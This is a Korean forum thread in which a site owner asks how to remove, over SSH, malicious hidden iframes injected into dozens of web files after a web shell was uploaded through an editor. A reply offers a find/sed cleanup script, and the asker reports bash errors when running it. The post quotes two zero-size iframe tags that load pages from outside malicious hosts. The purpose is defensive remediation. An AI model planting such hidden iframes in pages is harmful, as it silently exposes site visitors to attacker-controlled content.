ssh로 사이트 악성코드 한번에 지울수 있나요?

· 14년 전 · 956 · 2
<iframe src='http://hui.pokuzi.info/qu.html' width='116' height='1' frameborder='0'></iframe>
<iframe src=' http://1lpg.co.kr/shop/calc.html' width='116' height='0' frameborder='0'></iframe>
 
이런 코드가 수십군데에 삽입되버렷네요.. (cheditor 이용해 웹셀 업로드 피해..)
SSH 접속해서 한번에 제거하는 방법 없을까요?
[이 게시물은 관리자님에 의해 2011-10-31 17:32:05 Linux에서 이동 됨]
|

댓글 2개

http://chonga.pe.kr/computer/tips/tip_replacestring.txt 를 참고 했습니다.

myreplace.sh 를 아래와 같이 만들고

chmod +x myreplace.sh 로 퍼미션 설정 후

실행해 보세요.

sh myreplace.sh 또는 ./myreplace.sh

#!/bin/sh

for f in `find . \( -name '*.php' -o -name '*.htm' -o -name '*.html' \) -print`
do
sed -e "s/<iframe src='http:\/\/hui.pokuzi.info\/qu.html' width='116' height='1' frameborder='0'><\/iframe>//g
s/<iframe src=' http:\/\/1lpg.co.kr\/shop\/calc.html' width='116' height='0' frameborder='0'><\/iframe>//g" $f > $f\.swp
rm -f $f
mv $f\.swp $f
done
: command not found2:
'yreplace.sh: line 9: syntax error near unexpected token `
'yreplace.sh: line 9: `done


라 뜨네요..
댓글을 작성하시려면 로그인이 필요합니다.

프로그램

+
제목 글쓴이 날짜 조회
14년 전 조회 1,698
14년 전 조회 1,083
14년 전 조회 1,371
14년 전 조회 885
14년 전 조회 1,026
14년 전 조회 816
14년 전 조회 1,149
14년 전 조회 1,039
14년 전 조회 464
14년 전 조회 600
14년 전 조회 664
14년 전 조회 987
14년 전 조회 807
14년 전 조회 811
14년 전 조회 790
14년 전 조회 1,195
14년 전 조회 902
14년 전 조회 907
14년 전 조회 913
14년 전 조회 722
14년 전 조회 1,780
14년 전 조회 1,550
14년 전 조회 980
14년 전 조회 807
14년 전 조회 1,875
14년 전 조회 1,244
14년 전 조회 1,081
14년 전 조회 837
14년 전 조회 1,544
14년 전 조회 3,804
14년 전 조회 2,464
14년 전 조회 1,158
14년 전 조회 772
14년 전 조회 828
14년 전 조회 1,354
14년 전 조회 1,014
14년 전 조회 1,389
14년 전 조회 1,437
14년 전 조회 1,457
14년 전 조회 657
14년 전 조회 899
14년 전 조회 2,777
14년 전 조회 801
14년 전 조회 1,276
14년 전 조회 846
14년 전 조회 719
14년 전 조회 1,264
14년 전 조회 699
14년 전 조회 1,370
14년 전 조회 957
14년 전 조회 1,620
14년 전 조회 1,542
14년 전 조회 1,059
14년 전 조회 1,290
14년 전 조회 971
14년 전 조회 1,682
14년 전 조회 1,256
14년 전 조회 1,253
14년 전 조회 1,536
14년 전 조회 1,437
14년 전 조회 865
14년 전 조회 932
14년 전 조회 699
14년 전 조회 869
14년 전 조회 1,630
14년 전 조회 2,382
14년 전 조회 2,272
14년 전 조회 1,916
14년 전 조회 1,451
14년 전 조회 1,527
14년 전 조회 1,314
14년 전 조회 1,570
14년 전 조회 679
14년 전 조회 1,299
14년 전 조회 673
14년 전 조회 1,119
14년 전 조회 889
14년 전 조회 2,002
14년 전 조회 771
14년 전 조회 2,594
14년 전 조회 1,008
14년 전 조회 844
14년 전 조회 2,948
14년 전 조회 721
14년 전 조회 999
14년 전 조회 526
14년 전 조회 845
14년 전 조회 629
14년 전 조회 1,326
14년 전 조회 753
14년 전 조회 1,131
14년 전 조회 750
14년 전 조회 677
14년 전 조회 656
14년 전 조회 1,372
14년 전 조회 832
14년 전 조회 716
14년 전 조회 736
14년 전 조회 1,406
14년 전 조회 1,423